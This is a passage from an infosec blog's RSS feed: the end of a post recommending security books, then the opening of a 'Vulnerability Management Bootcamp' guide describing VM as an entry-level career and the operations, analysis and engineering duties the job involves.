        <description>&lt;p&gt;Though there is a real wealth of infosec learning resources out there including an immense collection of &lt;a href=&quot;https://shellsharks.com/online-training&quot;&gt;online training&lt;/a&gt; to a &lt;a href=&quot;https://shellsharks.com/infosec-blogs&quot;&gt;dizzying array of unique blogs&lt;/a&gt; from security professionals and enthusiasts, having a solid, old-fashioned &lt;strong&gt;book&lt;/strong&gt; as a reference or instructional tool is always good to have!
&lt;br /&gt;&lt;br /&gt;
With this in mind, I’ve created an &lt;a href=&quot;https://www.amazon.com/hz/wishlist/genericItemsPage/165RQHPOUATST&quot;&gt;Amazon list with all the Infosec books I own&lt;/a&gt;. Though I certainly haven’t read each of these cover-to-cover, I purchased each based on the good reviews they received and the value of their content relevant to my interests in information security.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/library/bookshelf.jpeg&quot; alt=&quot;bookshelf&quot; width=&quot;250px&quot; style=&quot;float:right; padding:5px;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’m always looking to learn and as such am continuously evaluating new books to add to my library. In this vein, I also maintain an &lt;a href=&quot;https://www.amazon.com/hz/wishlist/genericItemsPage/102QCL0EQHXET&quot;&gt;Amazon list of books I am looking to potentially purchase&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Book Library&lt;/strong&gt;: &lt;a href=&quot;https://www.amazon.com/hz/wishlist/genericItemsPage/165RQHPOUATST&quot;&gt;&lt;i class=&quot;ph ph-book-open-user lg&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shopping List&lt;/strong&gt;: &lt;a href=&quot;https://www.amazon.com/hz/wishlist/genericItemsPage/102QCL0EQHXET&quot;&gt;&lt;i class=&quot;ph ph-amazon-logo lg&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;book-reviews&quot;&gt;Book Reviews&lt;/h2&gt;
&lt;p&gt;Below I share my thoughts on the books that I &lt;em&gt;do&lt;/em&gt; use regularly or &lt;em&gt;have&lt;/em&gt; read most of.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/library/wahh.jpg&quot; alt=&quot;wahh&quot; style=&quot;float:right;&quot; width=&quot;100px&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;the-web-application-hackers-handbook-2nd-edition&quot;&gt;&lt;a href=&quot;https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/ref=sr_1_1?dchild=1&amp;amp;keywords=web+application+hackers+handbook&amp;amp;qid=1622742292&amp;amp;sr=8-1&quot;&gt;The Web Application Hackers Handbook (2nd Edition)&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;This book is truly the bible of web application hacking and though it has been superseded by &lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;PortSwigger’s Web Security Academy&lt;/a&gt; it’s content is still extremely relevant and a great resource for any appsec professional. With inline exercises and questions, it can be used not only as a spot reference but also as a textbook of sorts which could be read cover-to-cover (give yourself some time as it’s certainly a tome at &lt;em&gt;800+&lt;/em&gt; pages). Can’t recommend this book enough!&lt;/p&gt;

&lt;h5 id=&quot;bulletproof-tls-and-pki-second-edition&quot;&gt;&lt;a href=&quot;https://www.amazon.com/dp/1907117091/&quot;&gt;Bulletproof TLS and PKI, Second Edition&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;Currently working my way through the entirety of this book. I’ve found it to be a pretty definitive guide on the inner-workings of TLS. The 2nd edition (I made the mistake of getting the &lt;a href=&quot;https://www.amazon.com/dp/1907117040/&quot;&gt;first edition&lt;/a&gt; originally) has an extra section on TLS 1.3 (at least) which is great. If you’re looking for a deep dive on underlying crypto mechanisms that TLS relies on you may need to find some additional references.&lt;/p&gt;
</description>
        <pubDate>Thu, 03 Jun 2021 13:52:00 -0400</pubDate>
        <link>https://shellsharks.com/cybersecurity-library</link>
        <guid isPermaLink="true">https://shellsharks.com/cybersecurity-library</guid>
        
        <category>infosec</category>
        
        <category>red</category>
        
        <category>blue</category>
        
        <category>training</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Vulnerability Management Bootcamp</title>
        <shark:summary><p><a href="#why-vulnerability-management">Vulnerability Management</a> is an excellent way to kick-start a <a href="https://shellsharks.com/getting-into-information-security#title">career in cybersecurity</a>. This guide will help show you the way.</p>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;#why-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; is an excellent way to kick-start a &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;career in cybersecurity&lt;/a&gt;. This guide will help show you the way.&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#why-vulnerability-management&quot;&gt;Why Vulnerability Management?&lt;/a&gt; &lt;i class=&quot;ph ph-question&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;What Do VM Professionals Actually Do?&lt;/a&gt; &lt;i class=&quot;ph ph-gear&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bootcamp-intro&quot;&gt;Bootcamp Intro&lt;/a&gt; &lt;i class=&quot;ph ph-door-open&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;VM Knowledge Pre-Requisites&lt;/a&gt; &lt;i class=&quot;ph ph-backpack&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;Bootcamp Lab&lt;/a&gt; &lt;i class=&quot;ph ph-flask&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#lab-exercise-answers&quot;&gt;Bootcamp Lab Exercise Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#scenario-based-exercises&quot;&gt;Scenario-Based Exercises&lt;/a&gt; &lt;i class=&quot;ph ph-globe-hemisphere-west&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-find-a-vm-job&quot;&gt;How to Find a VM Job&lt;/a&gt; &lt;i class=&quot;ph ph-gps-fix&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vm-interview&quot;&gt;Tackling the Interview&lt;/a&gt; &lt;i class=&quot;ph ph-video-conference&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#help--outro&quot;&gt;Help &amp;amp; Outro&lt;/a&gt; &lt;i class=&quot;ph ph-info&quot;&gt;&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-question lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;why-vulnerability-management&quot;&gt;Why Vulnerability Management?&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; (a.k.a. “VM”) is a less-considered, but in my opinion, &lt;em&gt;ideal&lt;/em&gt; entry-level role for &lt;a href=&quot;https://shellsharks.com/training-retrospective#intro&quot;&gt;aspiring infosec professionals&lt;/a&gt;. For many who are looking to &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;get into information security&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/training-retrospective#my-education-journey&quot;&gt;finding that first job&lt;/a&gt; can be very difficult. Typical recommended paths &lt;em&gt;into&lt;/em&gt; infosec include roles such as help desk, SIOC/SOC, system administration, network engineering or even software development. Though there is no one path that is universally best, I believe VM &lt;em&gt;can&lt;/em&gt; be an &lt;a href=&quot;#vm-compared-to-other-infosec-starter-roles&quot;&gt;optimal choice&lt;/a&gt; for a number of different reasons.&lt;/p&gt;

&lt;h5 id=&quot;why-start-your-infosec-career-with-vulnerability-management&quot;&gt;Why Start Your Infosec Career with Vulnerability Management&lt;/h5&gt;

&lt;ul&gt;
  &lt;li&gt;A lot of &lt;em&gt;true&lt;/em&gt; &lt;a href=&quot;https://shellsharks.com/cybersecurity-role-map#title&quot;&gt;infosec positions&lt;/a&gt; are not really considered “junior” or “entry-level” (e.g. penetration testing, threat hunting, reverse engineering, application security, etc…) This means it is difficult to jump directly into those roles without some prior experience &lt;em&gt;in&lt;/em&gt; infosec. VM however, &lt;em&gt;is&lt;/em&gt; considered junior and thus is more readily attainable by those with little-to-no prior infosec experience.&lt;/li&gt;
  &lt;li&gt;Unlike other recommended “&lt;a href=&quot;#vm-compared-to-other-infosec-starter-roles&quot;&gt;starter&lt;/a&gt;” roles (i.e. help desk, system administration, etc…), VM is a &lt;em&gt;true&lt;/em&gt; infosec role. What I mean by this is, having the title “Vulnerability Management” (or some derivation of this title) on your resume counts towards years of experience &lt;em&gt;in cybersecurity&lt;/em&gt; whereas having help desk (for example) experience on your resume would likely not be considered infosec-relevant experience.&lt;/li&gt;
  &lt;li&gt;VM (in my opinion), is &lt;em&gt;easier&lt;/em&gt; to learn the basics of as compared to &lt;a href=&quot;#vm-compared-to-other-infosec-starter-roles&quot;&gt;other potential starter positions&lt;/a&gt;. Don’t get me wrong, you certainly need to have a &lt;em&gt;breadth&lt;/em&gt; of knowledge in a number of different areas but you don’t (for example) need to be able to fully administer Linux/Windows, or engineer a network, or perform in-depth packet analysis, or be an expert coder to work in VM (though it wouldn’t hurt!). You need only have (at least starting out) a relatively foundational grasp of a &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;handful of knowledge areas&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Those in VM roles are exposed to a wide variety of other infosec domains. For example, in performing the &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;week-to-week responsibilities&lt;/a&gt; of a VM &lt;a href=&quot;#vm-analysis&quot;&gt;analyst&lt;/a&gt;/&lt;a href=&quot;#vm-engineering&quot;&gt;engineer&lt;/a&gt;, you will encounter vulnerabilities that a penetration tester would also encounter, you may be asked to &lt;a href=&quot;#risk-analysis&quot;&gt;assess the risk&lt;/a&gt; of scan findings similar to what a GRC analyst would be asked to do, you could also be asked how to patch or mitigate issues like a system administrator would need to do, etc… Collectively, these experiences are great for building a solid generalist base of knowledge and could also help you pivot into other areas of infosec if/when you are ready to do so.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Penetration testing&lt;/strong&gt; is a very sought-after infosec position but can be out-of-reach for many entry-level professionals. This is for good reason as penetration testing requires skills and experience that are a bit more advanced. VM is a great stepping-stone to a career in penetration testing as you get a lot of hands-on experience with the vulnerabilities you will be exploiting as a penetration tester. (&lt;strong&gt;NOTE&lt;/strong&gt;: &lt;em&gt;This statement is not meant to discourage those looking to get into penetration testing early in their careers. It certainly&lt;/em&gt; &lt;strong&gt;can&lt;/strong&gt; &lt;em&gt;be done!&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;VM analysts typically get a good bit of face-time across IT organizations. What I mean by this is that you will likely be asked to interface with a wide variety of groups within IT - server teams, desktop teams, development teams, IT leadership, etc… This exposure helps network you around the organization and also gives you the opportunity to learn from a diverse set of personalities and professionals.&lt;/li&gt;
  &lt;li&gt;VM is (&lt;em&gt;or really should be&lt;/em&gt;) &lt;strong&gt;ubiquitous&lt;/strong&gt;. Since &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;VM is fundamental&lt;/a&gt; to all organizations, the need for qualified and/or knowledgeable VM professionals is abundant. In other words, there is a lot of opportunity in learning this particular craft. &lt;em&gt;With that said, there is an increasing prevalence of out-sourced, managed VM which means this function may become more and more commoditized.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;vm-compared-to-other-infosec-starter-roles&quot;&gt;VM Compared to Other Infosec Starter-Roles&lt;/h5&gt;
&lt;p&gt;There are a number of different “starter” roles one could consider as they begin their &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;journey into infosec&lt;/a&gt;. I personally believe VM is one of the better options as compared to these other roles. Some of the cons of these &lt;em&gt;other&lt;/em&gt; roles are detailed below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;In &lt;strong&gt;help desk&lt;/strong&gt; roles, learning (specifically infosec-related learning) tends to stagnate, your ability to perform actual “security” work is limited, pay tends to be lower and opportunities to pivot into more security-specific roles are often non-existent or overly hard-fought. There also tends to be a stigma attached to “help desk” which if you’re not careful, could hinder your ability to break out of that role and onto something more “advanced”.&lt;/li&gt;
  &lt;li&gt;In &lt;strong&gt;SIOC/SOC&lt;/strong&gt; or other &lt;em&gt;blue-team-analyst-type&lt;/em&gt; roles, you get great exposure to “real” security work, but this often comes at the expense of jobs that are high stress, have weird/long hours and/or are very scripted in nature with respect to operational responsibilities, limiting the ability to learn and grow. A lot of individuals in these positions suffer from burn-out or other stress-related issues.&lt;/li&gt;
  &lt;li&gt;In &lt;strong&gt;system administration&lt;/strong&gt; roles, you learn a great deal about the OS (i.e. Windows, Linux, Mac) you are administering but do not necessarily get to perform any security-specific work. This experience certainly comes in handy later in an infosec career but might not help too much for breaking into the field initially.&lt;/li&gt;
  &lt;li&gt;In &lt;strong&gt;network engineering&lt;/strong&gt; roles, you can easily find yourself siloed into only performing network engineering and never getting to break out and do any actual security work. I’ll add that this path requires quite a bit of technical depth on the networking side which makes this path particularly difficult for an entry-level individual. With that said, that knowledge could be of great use if/when you do ultimately move into a more security-specific position.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Software development&lt;/strong&gt; is a common first step for those who ultimately would like to end up in an “Application Security” role. This makes sense considering knowing how to properly assess and secure applications likely means first having some understanding or experience writing/developing applications. With this said, it is a relatively serious commitment that must be made to become a software developer and is probably a bit over-kill if your goal is to &lt;em&gt;quickly&lt;/em&gt; get into infosec-proper.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-gear lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h2 id=&quot;vulnerability-management-day-to-day&quot;&gt;Vulnerability Management Day-to-Day&lt;/h2&gt;
&lt;p&gt;If you’re with me thus far, you’re likely &lt;em&gt;somewhat&lt;/em&gt; interested in a getting a job in Vulnerability Management. You may however be wondering, “&lt;em&gt;what exactly does someone in Vulnerability Management actually do?&lt;/em&gt;” This is of course a very relevant question for someone thinking of going down this path so I’d like to try and cover it here. Though it can certainly vary from place to place, VM professionals typically have responsibilities in &lt;em&gt;three&lt;/em&gt; functional areas - &lt;strong&gt;&lt;a href=&quot;#vm-operations&quot;&gt;operations&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;#vm-analysis&quot;&gt;analysis&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;#vm-engineering&quot;&gt;engineering&lt;/a&gt;&lt;/strong&gt;. I’ll briefly explain VM responsibilities across each of these domains below…&lt;/p&gt;

&lt;h6 id=&quot;vm-operations&quot;&gt;&lt;strong&gt;VM Operations&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;Though there are elements of VM &lt;a href=&quot;#vm-analysis&quot;&gt;analysis&lt;/a&gt; or &lt;a href=&quot;#vm-engineering&quot;&gt;engineering&lt;/a&gt; that could be considered &lt;em&gt;operational&lt;/em&gt;, what I really mean by “operations” is, the every day break-fix, tuning and troubleshooting that a VM professional needs to do to keep &lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;scans running on-time&lt;/a&gt; and without failure as well as ensuring &lt;a href=&quot;#exercise-6-reporting&quot;&gt;reports/alerts are being generated&lt;/a&gt; and delivered as required. Consider the list of potential &lt;em&gt;operational&lt;/em&gt; tasks below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Scan failures&lt;/strong&gt;: If a scan fails to kick-off, finish or otherwise does not complete, the VM team will need to troubleshoot what happened. A scan may fail for a number of different reasons: the scanner itself may be malfunctioning, a firewall or IPS may be blocking scan traffic or the target endpoint could have shut off. &lt;em&gt;These are just a few examples&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;False positives&lt;/strong&gt;: Often, a system owner may contact the VM team because they believe a finding on a scan report is a &lt;em&gt;false positive&lt;/em&gt;. It is then the VM team’s job to investigate this claim and determine whether it is indeed a false-positive or not. &lt;strong&gt;In my experience&lt;/strong&gt;, especially when it comes to &lt;em&gt;credentialed scans&lt;/em&gt;, it is &lt;em&gt;very rarely&lt;/em&gt; a real false-positive. In any case, you will need to understand &lt;em&gt;and&lt;/em&gt; be able to explain the &lt;a href=&quot;https://docs.tenable.com/nessus/Content/Plugins.htm&quot;&gt;scan plugin&lt;/a&gt; logic to the system owner that way there is a mutual understanding of why that plugin fired.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Scan causes system degradation&lt;/strong&gt;: Network scans &lt;em&gt;can&lt;/em&gt; be somewhat invasive - both &lt;em&gt;on the network&lt;/em&gt; as well as against a target host. Though modern operating systems and enterprise networks are fairly robust and thus less likely to have a negative reaction as a result of a common vulnerability scan, it is certainly still possible that a scan &lt;em&gt;could&lt;/em&gt; cause network/system degradation. When this happens, the VM team may be contacted to disable the scan.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Creating/maintaining scan jobs&lt;/strong&gt;: One of the core tenets of VM is that of &lt;em&gt;visibility&lt;/em&gt;. What this means is that to the best of our ability, we as the VM team would like to be scanning everything with the highest-fidelity (&lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;credentialed&lt;/a&gt;) scan type as possible. To achieve this, the VM team will often need to create additional scan jobs or modify existing ones as needed to further increase visibility.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Credential failure&lt;/strong&gt;: The highest-fidelity scan type is an &lt;strong&gt;authenticated&lt;/strong&gt; scan. To achieve an authenticated scan you need proper credentials which have sufficient privileges on the target host. The scan job must then be populated with these credentials. For &lt;a href=&quot;https://community.tenable.com/s/article/Troubleshooting-Credential-scanning-on-Windows&quot;&gt;any number of reasons&lt;/a&gt;, scans may fail to actually login to the host. When this occurs, the VM team will need to diagnose what has happened and fix the scan.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Report/alert tweaking&lt;/strong&gt;: A key facet of VM is ensuring that appropriate stakeholders &lt;a href=&quot;#exercise-6-reporting&quot;&gt;receive reports&lt;/a&gt; which detail the information and specific findings relevant to them. The VM team is therefore responsible for building and maintaining these reports, regularly auditing whether they are being sent and received properly and that they have the correct and comprehensive data contained within them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;vm-analysis&quot;&gt;&lt;strong&gt;VM Analysis&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;Much of the “analyst” work a VM professional does &lt;em&gt;could&lt;/em&gt; be considered &lt;em&gt;&lt;a href=&quot;#vm-operations&quot;&gt;operational&lt;/a&gt;&lt;/em&gt; as it is something that might be performed on a day-to-day basis. However, I delineate between &lt;em&gt;analysis&lt;/em&gt; work and &lt;em&gt;operations&lt;/em&gt; based on the skillset needed to perform each. &lt;em&gt;VM analysis&lt;/em&gt; is the process of reviewing scan results (and vulnerabilities in general) and performing analysis on these findings which leads to a better understanding of risk. This work stands in stark contrast to &lt;em&gt;&lt;a href=&quot;#vm-operations&quot;&gt;operations&lt;/a&gt;&lt;/em&gt;, which does not require having a deep understanding of threats, vulnerabilities and risk. Below are some examples of &lt;em&gt;VM analysis&lt;/em&gt; work…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Creating dashboards/content&lt;/strong&gt;: &lt;a href=&quot;#vm-tools&quot;&gt;Enterprise scan tools&lt;/a&gt; have advanced &lt;a href=&quot;https://docs.tenable.com/tenablesc/Content/Dashboards.htm&quot;&gt;dashboarding&lt;/a&gt; and other content-creation capabilities which allow VM analysts to quickly consume VM metrics, trends and other interesting data points related to organization-wide scan results. For example, the VM team may maintain a trend graph which shows the total high-risk vulnerabilities that have been present in the environment over the course of the year. Or, there may be a dashboard component which shows the number of outstanding vulnerabilities across each department within IT.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk assessments&lt;/strong&gt;: A common ask for the VM team is to produce a “risk assessment” related to a certain vulnerability against a specific system or as it applies to the organization as a whole. These risk assessments help IT leadership determine how to prioritize work. If the risk is high, business leaders and IT leadership must make decisions on risk mitigation.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#title&quot;&gt;Triaging recently disclosed vulnerabilities&lt;/a&gt;&lt;/strong&gt;: Often new vulnerabilities are &lt;a href=&quot;https://www.cisa.gov/coordinated-vulnerability-disclosure-process&quot;&gt;disclosed&lt;/a&gt; and require speedy analysis from the VM team. In these cases &lt;a href=&quot;#vm-tools&quot;&gt;network scan vendors&lt;/a&gt; will &lt;a href=&quot;https://community.tenable.com/s/article/Tenable-Plugin-Release-Information&quot;&gt;not have had time to write and publish detection plugins&lt;/a&gt; for their respective scanners. When this happens, the VM team will be asked to triage these &lt;em&gt;new&lt;/em&gt; vulnerabilities to determine their applicability to the organization’s environment, calculate potential risk and even research/produce possible risk treatments related to that vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability validation&lt;/strong&gt;: &lt;a href=&quot;#vm-tools&quot;&gt;Network scanners&lt;/a&gt; are great at identifying vulnerabilities. What they &lt;em&gt;can’t&lt;/em&gt; always do however is determine the “true risk” of a vulnerability based on the relevant network/host-based controls which may mitigate certain aspects of the respective issue. The VM team may be asked to analyze a vulnerability in the context of whether it is truly a risk to the system. In some cases this may mean trying to actively &lt;em&gt;exploit&lt;/em&gt; that particular vulnerability to determine if the expected controls which may mitigate said issue &lt;em&gt;actually&lt;/em&gt; do so. Though I wouldn’t call this “penetration testing”, it is similar in some ways.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Reviewing scan results&lt;/strong&gt;: VM analysts may spend a good bit of time simply reviewing the results of scans and evaluating whether any vulnerabilities require special or immediate attention. For example, if a new class of high-risk vulnerability appears in a scan result which does not have automated alerting or reporting content, a VM analyst may want to quickly catch it so it can be triaged accordingly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;vm-engineering&quot;&gt;&lt;strong&gt;VM Engineering&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;Last but certainly not least, we have &lt;em&gt;VM engineering&lt;/em&gt;. Engineering in this context is the design, build and maintenance of the architecture and infrastructure which support VM &lt;a href=&quot;#vm-operations&quot;&gt;operations&lt;/a&gt; and &lt;a href=&quot;#vm-analysis&quot;&gt;analysis&lt;/a&gt;. Some examples of VM engineering tasks are detailed below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Patching&lt;/strong&gt;: VM is supported by scanners, databases, &lt;a href=&quot;https://www.tenable.com/products/tenable-sc/&quot;&gt;central-consoles&lt;/a&gt; and a lot of other infrastructure. This infrastructure must be kept up-to-date with the latest functional/security patches from their respective vendors. The VM team may be responsible for maintaining their own tools in this way. In many cases however, the responsibility of patching, even for VM infrastructure, is placed on an organization-wide patching team rather than resting on the system-owners themselves.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Archictecture&lt;/strong&gt;: As advancements are made, or perhaps as the VM program is first being built, there is a need to design an architecture for the VM program itself - especially as it relates to &lt;a href=&quot;#vm-operations&quot;&gt;scanning operations&lt;/a&gt;. The VM team is responsible for designing and deploying VM-related hardware, determining where scanners are placed on the network and &lt;em&gt;much&lt;/em&gt; more.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Scan routing&lt;/strong&gt;: In order to scan &lt;em&gt;all corners&lt;/em&gt; of an enterprise network, the VM team must work with the network team to ensure &lt;a href=&quot;https://www.tenable.com/blog/4-ways-to-improve-nessus-scans-through-firewalls&quot;&gt;proper rules are in place on the firewalls&lt;/a&gt; such that the scanners can traverse the network.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;New tooling&lt;/strong&gt;: As modern enterprises continue to make strides into new computing frontiers (e.g. &lt;a href=&quot;https://aws.amazon.com/what-is-cloud-computing/&quot;&gt;cloud&lt;/a&gt;, &lt;a href=&quot;https://microservices.io&quot;&gt;microservices&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/serverless/&quot;&gt;serverless&lt;/a&gt;, etc..), the VM team must keep up with respect to maintaining scan comprehension and visibility. To do so, new tools will likely need to be evaluated. Typically, this is done through trial-based, proof-of-concept engagements. The VM team will acquire the tool(s) and a trial license and have a limited amount of time to evaluate a new product to determine if it meets the VM-needs of the organization.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;*Scripting &amp;amp; Automation&lt;/strong&gt;: This final task is something that I believe spans &lt;em&gt;all three&lt;/em&gt; VM functional areas. In order to get the most out of the tools you have in your &lt;a href=&quot;#vm-tools&quot;&gt;VM tool-kit&lt;/a&gt; and to best solve the “scaling” issue within infosec, VM professionals must be able to &lt;a href=&quot;#exercise-7-scripting--automation&quot;&gt;write scripts&lt;/a&gt; and automate against &lt;a href=&quot;https://restfulapi.net&quot;&gt;RESTful APIs&lt;/a&gt;. These &lt;em&gt;scripts&lt;/em&gt; will likely perform operational tasks and therefore the maintenance and creation of these scripts could be considered &lt;em&gt;operational&lt;/em&gt;. Similarly, these scripts may perform &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#symphonic-vulnerability-surface-mapping&quot;&gt;automated analysis and triage&lt;/a&gt; of VM findings. In this way, these scripts can also be considered “&lt;a href=&quot;#vm-analysis&quot;&gt;analyst&lt;/a&gt;” work. Collectively, I think they are also &lt;em&gt;engineering&lt;/em&gt; in that they are somewhat one-time efforts (not counting maintenance and upgrades) which help add new functionality to the VM program.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;As you can see&lt;/em&gt;! There is a lot of &lt;em&gt;interesting&lt;/em&gt; work to be done in VM. Due to the breadth of responsibilties and the very nature of the work, I truly believe it is one of the &lt;a href=&quot;#why-vulnerability-management&quot;&gt;best starter infosec roles&lt;/a&gt; out there. Now, let’s get into the &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-door-open lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;bootcamp-intro&quot;&gt;Bootcamp Intro&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;OK!&lt;/strong&gt; So you’re excited to learn more about VM and are ready to dive in. &lt;em&gt;This is great!&lt;/em&gt; I’d like to &lt;em&gt;officially&lt;/em&gt; welcome you to the &lt;a href=&quot;https://shellsharks.com/&quot;&gt;Shellsharks&lt;/a&gt; &lt;strong&gt;Vulnerability Management Bootcamp&lt;/strong&gt;, I am happy to have you here. The primary goal of this bootcamp is to fully prepare someone to not only &lt;a href=&quot;#vm-interview&quot;&gt;ace an entry-level Vulnerability Management interview&lt;/a&gt; and get offered the job, but to also prepare you to step in day 1 after being hired and immediately hit the ground running with respect to performing the &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;responsibilities of a VM analyst&lt;/a&gt;. As such, the specific &lt;a href=&quot;#bootcamp-objectives&quot;&gt;objectives&lt;/a&gt; for this bootcamp as well as what this bootcamp &lt;em&gt;&lt;a href=&quot;#what-the-bootcamp-doesnt-cover&quot;&gt;explicitly doesn’t cover&lt;/a&gt;&lt;/em&gt; are provided in the two separate lists below.&lt;/p&gt;

&lt;h5 id=&quot;bootcamp-objectives&quot;&gt;Bootcamp Objectives&lt;/h5&gt;
&lt;ol&gt;
  &lt;li&gt;Prepare you to &lt;a href=&quot;#vm-interview&quot;&gt;ace an entry-level/junior VM interview&lt;/a&gt;, the outcome of which is (&lt;em&gt;hopefully&lt;/em&gt;) a job offer.&lt;/li&gt;
  &lt;li&gt;Provide real-world, hands-on, practical, &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;lab-based VM experience&lt;/a&gt; which will equip you with the confidence and skills needed to perform &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;VM analyst responsibilities&lt;/a&gt; &lt;em&gt;immediately&lt;/em&gt; after starting your new job.&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;what-the-bootcamp-doesnt-cover&quot;&gt;What the Bootcamp Doesn’t Cover&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;There are purposefully-open-ended, &lt;a href=&quot;#scenario-based-exercises&quot;&gt;scenario-based questions&lt;/a&gt; at the end of the &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;bootcamp lab&lt;/a&gt;. “Answers” for these questions are not explicitly provided. In fact, these questions do not have one &lt;em&gt;correct&lt;/em&gt; answer, rather they are designed to be more of an exploratory thought-exercise based on real-world challenges a VM analyst might be expected to solve. For more information on how best to approach &lt;em&gt;solving&lt;/em&gt; these prompts, you are encouraged to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact&lt;/a&gt; me or start a discussion in the &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Shellsharks Discord&lt;/a&gt;.&lt;/li&gt;
